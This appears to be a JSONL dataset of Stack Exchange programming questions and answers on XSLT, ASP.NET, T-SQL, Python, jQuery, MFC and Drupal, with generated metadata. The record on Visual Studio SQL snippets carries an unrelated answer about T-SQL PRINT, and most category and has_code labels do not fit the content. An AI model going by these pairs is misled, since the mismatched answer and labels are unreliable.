{"id": "hf_95c4228ad59b", "question": "<p>I have the following code block in my xslt;</p>\n\n<pre><code>      &lt;xsl:when test=\"StatusData/Status/Temperature &gt; 27\"&gt;\n        &lt;td bgcolor=\"#ffaaaa\"&gt;              \n          &lt;xsl:value-of select=\"StatusData/Status/Temperature\" /&gt;              \n        &lt;/td&gt;\n      &lt;/xsl:when&gt;\n</code></pre>\n\n<p>But as you might guess when the value is 34,5 instead of 34.5 it is recognised as a string which makes integer comparison not possible. I thought replacing , with . would be solution that needs a char replace. My question is how I can do this\nor\nIt would be great to know more about string operations in XSLT...</p>\n", "question_body": "", "answer": "There is a\n```\ntranslate()\n```\nfunction in XPath:\n```\n```\ntest=\"translate(StatusData/Status/Temperature, \",\", \".\") > 27\"\n```\n```\nAdditionally you should make use of the number function, which converts it's argument to a number (or NaN, if that fails):\n```\n```\ntest=\"number(translate(StatusData/Status/Temperature, \",\", \".\")) > 27.0\"\n```\n```\nSee the\ndocumentation for\n```\ntranslate()\n```\nand the\ndocumentation for\n```\nnumber()\n```\nat w3.org.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.461176"}
{"id": "hf_1487bdc8382f", "question": "<p>I am having an string like this</p>\n\n<p>string str = \"dfdsfdsf8fdfdfd9dfdfd4\"</p>\n\n<p>I need to check whether the string contains number by looping through the array.</p>\n", "question_body": "", "answer": "What about a regular expression:\n```\n```\nbool val = System.Text.RegularExpressions.Regex.IsMatch(str, @\"\\d\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.491846"}
{"id": "hf_d21aa603f48f", "question": "<p>Ok guys and gals, here is my problem:</p>\n\n<p>I've built a custom control that uses a textbox to present data to the user. </p>\n\n<p>When the user interacts with the control the <strong>value of that textbox is altered with client side javascript</strong>.</p>\n\n<p>I also have a button on my page. When the user clicks the button I want to take the value from the custom control (aka. the textbox) and use it elsewhere.</p>\n\n<p>So, in the onClick event for the button I do something like this:</p>\n\n<pre><code>this.myLabel.Text = this.customControl.Value;\n</code></pre>\n\n<p>The problem is that the custom control does not have the new textbox value available. In the custom control the textbox is empty. However, I can see the correct value in the Request.Form collection.</p>\n\n<p>Am I doing something wrong here? Or should I be reading from Request.Form?!</p>\n", "question_body": "", "answer": "Ah ha! I've solved my own problem!\nBecause I had set Readonly=\"True\" on the textbox control ASP.NET was not picking up it's value from the postback.\nInstead I should have manually added the readonly attribute to the textbox during my user control construction.\neg.\n```\n```\nthis.textBox.Attributes.Add(\"readonly\", \"readonly\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.588996"}
{"id": "hf_1a039d0cc5b2", "question": "<p>In IIS I can configure my custom error pages.<br>\nFor each HTTP Error code I can say where to go. Several codes have a number of \"sub\" codes available. For example 404 has a regular 404, 404;1, 404;2 and so on..</p>\n\n<p>What are they for? When are they returned? Should I make custom pages for these errors? Can I somehow easely configure all code \"families\" to come to the same page?</p>\n", "question_body": "", "answer": "401 - Access denied. IIS defines several different 401 errors that indicate\na more specific cause of the error\n. These specific error codes are displayed in the browser but are not displayed in the IIS log:\n401.1 - Logon failed.\n401.2 - Logon failed due to server configuration.\n401.3 - Unauthorized due to ACL on resource.\n401.4 - Authorization failed by filter.\n401.5 - Authorization failed by ISAPI/CGI application.\n401.7 – Access denied by URL authorization policy on the Web server (This error code is specific to IIS 6.0.)\nHere is the\ncomplete list\nin the MSDN documentation for\nIIS 5.0 and 6.0\nand for\nIIS 7.0, 7.5 and 8.0\n.\nIf you want to show your visitors or users a nice custom message depending on these subcode, you could do it. But you needn't.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.680650"}
{"id": "hf_db50bedab375", "question": "<p>I'd like to hear what is the motivation behind the bulk of sealed classes in the .Net framework. What is the benefit of sealing a class? I cannot fathom how not allowing inheritance can be useful and most likely not the only one fighting these classes.</p>\n<p>So, why is the framework designed this way and wouldn't it be unbreaking change to unseal everything? There must be another reason than just being evil?</p>\n", "question_body": "", "answer": "Sometimes classes are too precious and not designed to be inherited.\nRuntime/Reflection can make inheritance assumptions about sealed classes when looking for types. A great example of this is - Attributes are recommended to be sealed for lookup runtime speed. type.GetCustomAttributes(typeof(MyAttribute)) will perform significantly faster if MyAttribute is sealed.\nThe MSDN article for this topic is\nLimiting Extensibility by Sealing Classes\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.704576"}
{"id": "hf_158c8af3bbba", "question": "<p>Any code can be reused in a way or an other, at least if you modify the code. Random code is not very reusable as such. When I read some books, they usually say that you should explicitly make the code reusable by taking into account other situations of code usage too. But certain code should not be an omnipotent all doing class either.</p>\n\n<p>I would like to have reusable code that I don't have to change later. How do you make code reusable? What are the requirements for code being reusable? What are the things that reusable code should definitely have and what things are optional?</p>\n", "question_body": "", "answer": "See\n10 tips on writing reusable code\nfor some help.\nKeep the code DRY. Dry means \"Don't Repeat Yourself\".\nMake a class/method do just one thing.\nWrite unit tests for your classes AND make it easy to test classes.\nRemove the business logic or main code away from any framework code\nTry to think more abstractly and use Interfaces and Abstract classes.\nCode for extension. Write code that can easily be extended in the future.\nDon't write code that isn't needed.\nTry to reduce coupling.\nBe more Modular\nWrite code like your code is an External API", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.728633"}
{"id": "hf_b914074bfe29", "question": "<p>I have a written a Visual C++ console application (i.e. subsystem:console) that prints useful diagnositic messages to the console.</p>\n\n<p>However, I would like to keep the application minimized most of the time, and instead of minimizing to the taskbar, appear as a nice icon on the system tray. I would also like to restore the console when the system tray icon is clicked.</p>\n\n<p>How should I change my program to do this?</p>\n", "question_body": "", "answer": "This is going to be an ugly hack.\nFirst, you have to retrieve the\n```\nhWnd\n```\n/\n```\nhInstance\n```\nof you console application. Right now, I can only come up with one way:\nCreate a Guid with\n```\nCoCreateGuid()\n```\nConvert it to a string\nSet the title of the console window to this guid with\n```\nSetConsoleTitle()\n```\nFind the\n```\nhWnd\n```\nof the your window with the Guid as the tile with\n```\nFindWindow()\n```\nAnd you can do it from the usual way from this point.\nSee http://www.gidforums.com/t-9218.html for more info.\nDon't forget the rename your console window to the original title once you're done.\nAs you can see, even though this is possible to do, it's a horrible and painful solution. Please don't do it. Please do not minimize console applications to the system tray.\nIt is not something you are supposed to be able to do in the Windows API.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.752234"}
{"id": "hf_38d1686181be", "question": "<p>I have a dictionary where keys are strings, and values are integers.</p>\n<pre><code>stats = {'a': 1, 'b': 3000, 'c': 0}\n</code></pre>\n<p>How do I get the key with the maximum value? In this case, it is <code>'b'</code>.</p>\n<hr />\n<p>Is there a nicer approach than using an intermediate list with reversed key-value tuples?</p>\n<pre><code>inverse = [(value, key) for key, value in stats.items()]\nprint(max(inverse)[1])\n</code></pre>\n", "question_body": "", "answer": "You can use\n```\noperator.itemgetter\n```\nfor that:\n```\n```\nimport operator\nstats = {'a': 1000, 'b': 3000, 'c': 100}\nmax(stats.iteritems(), key=operator.itemgetter(1))[0]\n```\n```\nAnd instead of building a new list in memory use\n```\nstats.iteritems()\n```\n. The\n```\nkey\n```\nparameter to the\n```\nmax()\n```\nfunction is a function that computes a key that is used to determine how to rank items.\nPlease note that if you were to have another key-value pair 'd': 3000 that this method will only return\none\nof the\ntwo\neven though they both have the maximum value.\n```\n```\n>>> import operator\n>>> stats = {'a': 1000, 'b': 3000, 'c': 100, 'd': 3000}\n>>> max(stats.iteritems(), key=operator.itemgetter(1))[0]\n'b'\n```\n```\nIf using Python3:\n```\n```\n>>> max(stats.items(), key=operator.itemgetter(1))[0]\n'b'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.775467"}
{"id": "hf_8c74829e7347", "question": "<p>I have a Nant build script which CruiseControl uses to build a solution on-demand.</p>\n\n<p>However, we only recently got CruiseControl so our official build number is different from what is listed in CruiseControl.</p>\n\n<p>I know CruiseControl injects some properties into build scripts so that I can access the CC build number in the script (CCNetLabel) but how do I pass a value back to CC to use as the build number on the UI screen?</p>\n\n<p>Example, CC says build number 2</p>\n\n<p>nAnt script increments a buildnumber.xml value every build, and the official build number is on 123.</p>\n\n<p>I want the CC UI to show last successful build number: 123, not 2, so how do I pass that value back up?</p>\n", "question_body": "", "answer": "Did you try to use some environment variables? I believe CCNet can handle these.\nI'll dig a bit on this.\nWell I see a solution, quite dirty, but anyhow:\n1- Add a\ndefaultlabeller\nsection in your CCNET project definition. It will contains the pattern of the build number you want to display.\n2- Within NAnt, have a script to update your configuration file, inserting the build number you want to see.\n3- Touch (in the Unix sense) the ccnet.exe.config file so as to make it re-load the projects configuration files.\net voilà.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.809715"}
{"id": "hf_4f453e60b31d", "question": "<p>I've become very comfortable in the world of pointer-free, garbage-collected programming languages. Now I have to write a small Mac component. I've been learning Objective-C, but as I confront the possibility of dangling pointers and the need to manage retain counts, I feel disheartened.</p>\n\n<p>I know that Objective-C now has garbage collection but this only works with Leopard. My component must work with Tiger, too.</p>\n\n<p>I need to access some Cocoa libraries not available to Java, so that rules out my usual weapon of choice.</p>\n\n<p>What are my alternatives? Especially with no explicit pointers and automatic garbage collection.</p>\n", "question_body": "", "answer": "Look at\nPython\nand\nwxPython\n(the wxWidgets in Python).\nThe wxWidgets have a very elegant App-Doc-View application design pattern that's very, very nice.  It's not used enough, IMO.  I haven't found any wxPython examples of this App-Doc-View example, so you have to use the C examples to reason out how it would work in Python.\nI'd post examples, but I haven't got it all working yet, either.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.855783"}
{"id": "hf_1653070513cf", "question": "<p>Why doesn't this work?</p>\n\n<pre><code>DECLARE @temp table\n(ShipNo int,\n Supplier varchar(10)\n)\n\nINSERT INTO @temp VALUES (1,'CFA')\nINSERT INTO @temp VALUES (1, 'TFA')\nINSERT INTO @temp VALUES (2, 'LRA')\nINSERT INTO @temp VALUES (2, 'LRB')\nINSERT INTO @temp VALUES (3, 'ABC')\nINSERT INTO @temp VALUES (4, 'TFA')\n\nDeclare @OrderBy varchar(255)\nsET @OrderBy = 'Supplier'\n\n\n\nSELECT ROW_NUMBER() OVER (ORDER BY \nCASE @OrderBy\n WHEN 'Supplier' THEN Supplier\n WHEN 'ShipNo' THEN ShipNo\nEND\n) AS RowNo,\nShipNo,\nSupplier\nFROM @temp\n</code></pre>\n\n<p>But if you cast the ShipNo to a varchar in the Case statement it DOES work?</p>\n", "question_body": "", "answer": "From Books Online:\n```\n```\nCASE\nWHEN Boolean_expression THEN result_expression \n    [ ...n ] \n[ \n    ELSE else_result_expression \n] \nEND\n```\n```\n\"The data types of else_result_expression and any result_expression must be the same or must be an implicit conversion.\"\nSo Supplier and ShipNo must be the same datatype.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.914028"}
{"id": "hf_10dda984132f", "question": "<p>Im trying to craft a regex that only returns <code>&lt;link&gt;</code> tag hrefs</p>\n<p>Why does this regex return all hrefs including &lt;a hrefs?</p>\n<pre><code>(?&amp;lt;=&amp;lt;link\\s+.*?)href\\s*=\\s*[\\'\\&quot;][^\\'\\&quot;]+\n</code></pre>\n<pre class=\"lang-html prettyprint-override\"><code>&lt;link rel=&quot;stylesheet&quot; rev=&quot;stylesheet&quot; href=&quot;idlecore-tidied.css?T_2_5_0_228&quot; media=&quot;screen&quot;&gt;\n&lt;a href=&quot;anotherurl&quot;&gt;Slash Boxes&amp;lt;/a&gt;\n</code></pre>\n", "question_body": "", "answer": "```\n```\n/(?<=<link\\s+.*?)href\\s*=\\s*[\\'\\\"][^\\'\\\"]+[^>]*>/\n```\n```\ni'm a little shaky on the back-references myself, so I left that in there. This regex though:\n```\n```\n/(<link\\s+.*?)href\\s*=\\s*[\\'\\\"][^\\'\\\"]+[^>]*>/\n```\n```\n...works in my Javascript test.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.937197"}
{"id": "hf_5283f4ad01ce", "question": "<p>I have a couple of dropdown boxes on a normal ASP.Net page.</p>\n\n<p>I would like the user to be able to change these and to have the page Pseudo-post back to the server and store these changes without the user having to hit a save button.</p>\n\n<p>I don't really need to display anything additional as the dropdown itself will reflect the new value, but I would like to post this change back without having the entire page flash due to postback </p>\n\n<p>I have heard that this is possible using AJAX.Net... </p>\n\n<p>Can someone point me in the right direction?</p>\n", "question_body": "", "answer": "Add a reference to System.Web.Extensions and System.Web.Extensions.Design to your website.  Then put a scriptmanager on your page and wrap your ddl in an updatepanel.  Do whatever you want on the back-end.\nFor example...\n```\n```\n<asp:ScriptManager ID=\"ScriptManager1\" runat=\"server\" />\n<asp:UpdatePanel ID=\"UpdatePanel1\" runat=\"server\">\n  <ContentTemplate>\n\n<asp:DropDownList ID=\"DropDownList1\" runat=\"server\" AutoPostBack=\"true\" OnSelectedIndexChanged=\"yourDDL_SelectedIndexChanged\">\n</asp:DropDownList>\n\n  </ContentTemplate>\n</asp:UpdatePanel>\n\nprotected void yourDDL_SelectedIndexChanged(object sender, EventArgs e)\n{\n// do whatever you want\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.971787"}
{"id": "hf_ec2fff890813", "question": "<p>I'm writing a JPA connector to a legacy sistem. The problem is, DB design in the system is.. well.. horrible.</p>\n\n<p>I need to implement an entity that maps to three tables. I can do it using named sql queries, but the probem is, I have to use this entity in a OneToMany relation (this entity is on the many side). So how do I tell JPA it needs to use a specific named query with specific parameter?</p>\n\n<p>And a subquestion: does any1 have any good on-line JPA documentation? I can't find anything decent :-/</p>\n", "question_body": "", "answer": "I haven't actually found a way to do this with JPA. To solve problems like this I ended up using a named query.\nAs far as documentation, I have been using\nTopLink's\nand\nHibernate's\n.\nIf you find a better way, please post it here!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:25.995611"}
{"id": "hf_f65773a47f1f", "question": "<p>Why does the PRINT statement in T-SQL seem to only sometimes work?  What are the constraints on using it?  It seems sometimes if a result set is generated, it becomes a null function, I assumed to prevent corrupting the resultset, but could it's output not go out in another result set, such as the row count?</p>\n", "question_body": "", "answer": "So, if you have a statement something like the following, you're saying that you get no 'print' result?\n```\nselect * from sysobjects\nPRINT 'Just selected * from sysobjects'\n```\nIf you're using SQL Query Analyzer, you'll see that there are two tabs down at the bottom, one of which is \"Messages\" and that's where the 'print' statements will show up.\nIf you're concerned about the\ntiming\nof seeing the print statements, you may want to try using something like\n```\nraiserror ('My Print Statement', 10,1) with nowait\n```\nThis will give you the message immediately as the statement is reached, rather than buffering the output, as the Query Analyzer will do under most conditions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.032763"}
{"id": "hf_a138fb2584f1", "question": "<p>I want to use Visual Studio snippets to generate SQL code, for example we have standard naming conventions for foreign keys etc and it would be great if I could just expand a snippet in my SQL script file. </p>\n\n<p>However as far as I can tell the only languages that are supported by the Snippet manager are C#, VB J# and XML</p>\n\n<p><a href=\"http://msdn.microsoft.com/en-gb/library/ms171421(VS.80).aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-gb/library/ms171421(VS.80).aspx</a></p>\n\n<p>Does anyone know of a way to have a snippet expand to SQL?</p>\n\n<p>Derek</p>\n", "question_body": "", "answer": "So, if you have a statement something like the following, you're saying that you get no 'print' result?\n```\nselect * from sysobjects\nPRINT 'Just selected * from sysobjects'\n```\nIf you're using SQL Query Analyzer, you'll see that there are two tabs down at the bottom, one of which is \"Messages\" and that's where the 'print' statements will show up.\nIf you're concerned about the\ntiming\nof seeing the print statements, you may want to try using something like\n```\nraiserror ('My Print Statement', 10,1) with nowait\n```\nThis will give you the message immediately as the statement is reached, rather than buffering the output, as the Query Analyzer will do under most conditions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.056065"}
{"id": "hf_8afe6d40d56b", "question": "<p>Can I really and truly trust .NET to initialize fields (like ints, structs and the like)?   And what if I still want to initialize those fields - what could be the repercussions?</p>\n", "question_body": "", "answer": "Yes, you can really trust .NET to initialize fields to their default values.\nThere are basically no repercussions for doing it explicitly. (One small caveat here: if you initialize static fields explicitly, then anyone running the type initializer a second time via reflection will end up re-initializing those fields. This is a real corner case though!)\nDo whatever promotes the most readability in your particular codebase.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.080058"}
{"id": "hf_8fd7ab6b30fa", "question": "<p>How to 'group by' a query using an alias, for example:</p>\n\n<pre><code>select count(*), (select * from....) as alias_column \nfrom table \ngroup by alias_column\n</code></pre>\n\n<p>I get 'alias_column' : INVALID_IDENTIFIER error message. Why? How to group this query?</p>\n", "question_body": "", "answer": "```\n```\nselect\n  count(count_col),\n  alias_column\nfrom\n  (\n  select \n    count_col, \n    (select value from....) as alias_column \n  from \n    table\n  ) as inline\ngroup by \n  alias_column\n```\n```\nGrouping normally works if you repeat the respective expression in the GROUP BY clause. Just mentioning an alias is not possible, because the SELECT step is the last step to happen the execution of a query, grouping happens earlier, when alias names are not yet defined.\nTo GROUP BY the result of a sub-query, you will have to take a little detour and use an nested query, as indicated above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.187865"}
{"id": "hf_07cc8ee376d8", "question": "<p>ASP.NET 3.5 SP1 adds a great new ScriptCombining feature to the ScriptManager object as demonstrated on <a href=\"http://www.asp.net/learn/3.5-SP1/video-296.aspx?wwwaspnetrdirset=1\" rel=\"nofollow noreferrer\">this video</a>. However he only demonstrates how to use the feature with the ScriptManager on the same page. I'd like to use this feature on a site where the scriptmanager is on the master page but can't figure out how to add the scripts I need for each page programmatically to the manager. I've found <a href=\"http://seejoelprogram.wordpress.com/2008/08/19/net-35-sp1-doesnt-provide-composite-script-registration-from-an-iscriptcontrol-out-of-the-box/\" rel=\"nofollow noreferrer\">this post</a> to use as a starting point, but I'm not really getting very far. can anyone give me a helping hand?</p>\n\n<p>Thanks, Dan</p>\n", "question_body": "", "answer": "Give this a shot:\n```\n```\nScriptReference SRef = new ScriptReference();\n    SRef.Path = \"~/Scripts/Script.js\";\n\n    ScriptManager.GetCurrent(Page).CompositeScript.Scripts.Add(SRef);\n```\n```\nThat will get the current scriptmanager (even if it is on a master page) and add a script reference to the CompositeScript properties.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.211311"}
{"id": "hf_32c2fffb63ee", "question": "<p>I noticed that the ASP.NET cache items are inspected (and possibly removed) every 20 seconds (and oddly enough each time at HH:MM:00, HH:MM:20 and HH:MM:40). I spent about 15 minutes looking how to change this parameter without any success. I also tried to set the following in web.config, but it did not help:</p>\n\n<pre><code>&lt;cache privateBytesPollTime=\"00:00:05\" /&gt;\n</code></pre>\n\n<p>I’m not trying to do anything crazy, but it would be nice if it was, say, 5 seconds instead of 20, or at least 10 for my application.</p>\n", "question_body": "", "answer": "According to the\ndocumentation\n, privateBytesPollTime is for \"worker process memory usage\" and the default is 1 second.  I don't think this relates to cache item removal.\nI did confirm your results using an item removal callback- it looks like items are removed at the bottom of the minute, :20, and :40 seconds.  This suggests that an item may remain in the cache for up to 20 seconds past the AbsoluteExpiration set on them.  I couldn't find any documentation stating whether the 20 second polling interval could be changed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.281285"}
{"id": "hf_29181698a144", "question": "<p>Take a very simple case as an example, say I have this URL:</p>\n\n<pre><code>http://www.example.com/65167.html\n</code></pre>\n\n<p>and I wish to serve that content under:</p>\n\n<pre><code>http://www.example.com/about\n</code></pre>\n\n<p><strong>UPDATE</strong>: Note that the 'bad' URL is the canonical one (it's produced by a CMS which uses it internally for linking), so <code>\"/about\"</code> is just a way of polishing it.</p>\n\n<p>I have two broad options: a server-side redirect or a client-side one. I always thought that server-side would be preferable since it's more efficient, i.e. HTTP traffic is approximately halved. However, SEO techniques tend to favour a single URL for a resource, thus client-side is to be preferred.</p>\n\n<p>How do you resolve this conflict, and are there other factors I've omitted?</p>\n", "question_body": "", "answer": "Apache HTTPD's mod_rewrite can leave a browser showing a SEO-friendly URL in its location bar while redirecting to a numeric URL on the server:\n```\n```\nRewriteEngine on\nRewriteRule ^/about$ /65167.html [L]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.316171"}
{"id": "hf_c646d0d88a0e", "question": "<p>I'm currently in the process of writing a wizard and want to make each page validate before moving onto the next page.</p>\n\n<p>I want to prevent the user from progressing by calling the Validate() method on every child control on the page and and stopping navigation if any of them fail.</p>\n\n<p>The problem is that the Validate() method on every child control is a private method so I can't access it directly. Can anyone give me some advice on how to get a result from the Validate() method on a TextBox (For example) using Reflection?</p>\n\n<p>Many thanks!</p>\n\n<p><strong>Edit: Sorry - should have specified, this is Windows Forms, .Net 2.0</strong></p>\n", "question_body": "", "answer": "If you are talking asp.net you can set the ValidationGroup attribute on the control then call\n```\nthis.Validate(\"GroupName\")\n```\non the page for the group you need to validate.\nForget the group and just call\n```\nValidate()\n```\nif you need to validate the whole page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.339923"}
{"id": "hf_6b2ce7cb6d1d", "question": "<p>I'm refactoring some old JavaScript code and there's a lot of DOM manipulation going on.</p>\n\n<pre><code>var d = document;\nvar odv = d.createElement(\"div\");\nodv.style.display = \"none\";\nthis.OuterDiv = odv;\n\nvar t = d.createElement(\"table\");\nt.cellSpacing = 0;\nt.className = \"text\";\nodv.appendChild(t);\n</code></pre>\n\n<p>I would like to know if there is a better way to do this using jQuery. I've been experimenting with:</p>\n\n<pre><code>var odv = $.create(\"div\");\n$.append(odv);\n// And many more\n</code></pre>\n\n<p>But I'm not sure if this is any better.</p>\n", "question_body": "", "answer": "Simply supplying the HTML of elements you want to add to a jQuery constructor\n```\n$()\n```\nwill return a jQuery object from newly built HTML, suitable for being appended into the DOM using jQuery's\n```\nappend()\n```\nmethod.\nFor example:\n```\n```\nvar t = $(\"<table cellspacing='0' class='text'></table>\");\n$.append(t);\n```\n```\nYou could then populate this table programmatically, if you wished.\nThis gives you the ability to specify any arbitrary HTML you like, including class names or other attributes, which you might find more concise than using\n```\ncreateElement\n```\nand then setting attributes like\n```\ncellSpacing\n```\nand\n```\nclassName\n```\nvia JS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.364215"}
{"id": "hf_fef50bd373c2", "question": "<p>The default output from Drupal's Form API is:</p>\n\n<pre><code>&lt;input id=\"edit-submit\" class=\"form-submit\" type=\"submit\" value=\"Save\" name=\"op\"/&gt;\n</code></pre>\n\n<p>How do I theme that so I get:</p>\n\n<pre><code>&lt;button id=\"edit-submit\" class=\"form-submit\" type=\"submit\"&gt;\n  &lt;span&gt;Save&lt;/span&gt;\n&lt;/button&gt;\n</code></pre>\n\n<p>I need the inner span-tag so I can use the sliding doors CSS technique.</p>\n\n<p>I guess I need to override theme_button($element) from form.inc but my attempts so far have been unsuccessful.</p>\n", "question_body": "", "answer": "The basic idea to themeing a form_foo if you're using a plain PHP theme (like Chameleon), is to write a function called theme_form_foo().\nYou can also theme one element (like this button) specifically, by declaring a theme function just for it. See\nhttps://api.drupal.org/api/drupal/developer%21topics%21forms_api_reference.html/7\nNote that, with D6, in both cases you'll need to declare the function in the theme registry, otherwise Drupal won't notice this override. This is not necessary in D5. If you're using phptemplate, you'll need it too, although PHPtemplate takes care of the registry outside the forms case:\nhttp://drupal.org/node/132442#theme-registry\nThe documentation for this is available on a.d.o. :\nhttp://api.drupal.org/api/file/developer/topics/forms_api.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.393837"}
{"id": "hf_534be0cf62e6", "question": "<p>I can use an bitmap in a menu</p>\n\n<pre><code>CMenu men;\nCBitmap b;\nb.LoadBitmap(IDB_0); \nmen.AppendMenu( MF_ENABLED,1,&amp;b);\n</code></pre>\n\n<p>I can draw an icon into a DC</p>\n\n<pre><code>  CImageList IL;\n  IL.Create(70, 14, ILC_COLOR16 | ILC_MASK, 1, 0);\n  IL.Add(AfxGetApp()-&gt;LoadIcon(IDI_0));\n  IL.Draw ( pDC,  0,  rcIcon.TopLeft(),  ILD_BLEND50 );\n</code></pre>\n\n<p>But I cannot find a simple way to show an icon in a menu.  I would like to do this</p>\n\n<pre><code>CMenu men;\nCBitmap b;\n// here the miracle happens, load the icon into the bitmap\nmen.AppendMenu( MF_ENABLED,1,&amp;b);\n</code></pre>\n\n<p>Seems like this should be possible.</p>\n\n<hr>\n\n<p>This is the same question as <a href=\"https://stackoverflow.com/questions/70386/icons-on-menus-of-mfc-feature-pack-classes\">this</a>.  However that question referred to the MFC feature pack, did not get answered, and has shown no activity for a month, so I thought it would be worthwhile to ask it again in reference to basic MFC.</p>\n", "question_body": "", "answer": "I asked the question you reference.\nThe way to add (normal, 16-bit color) icons to menus is to make a toolbar with the same resource id as the menu you want to have icons in. You then assign id's to each of the toolbar buttons, the same id's as the menu entries. Make a wizard-generated new MFC application and you'll see how it works there.\nThe answers to the question I posted suggested that it should work the same for 32-bit images with transparency for the Feature Pack toolbars; I haven't gotten around to test it out though.\nIf your specific problem is how to make dynamically-generated menus, I think you should pass the id of an existing entry in a toolbar and then that image will be used.\nNot a real answer to your question but maybe it'll point you in the right direction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": 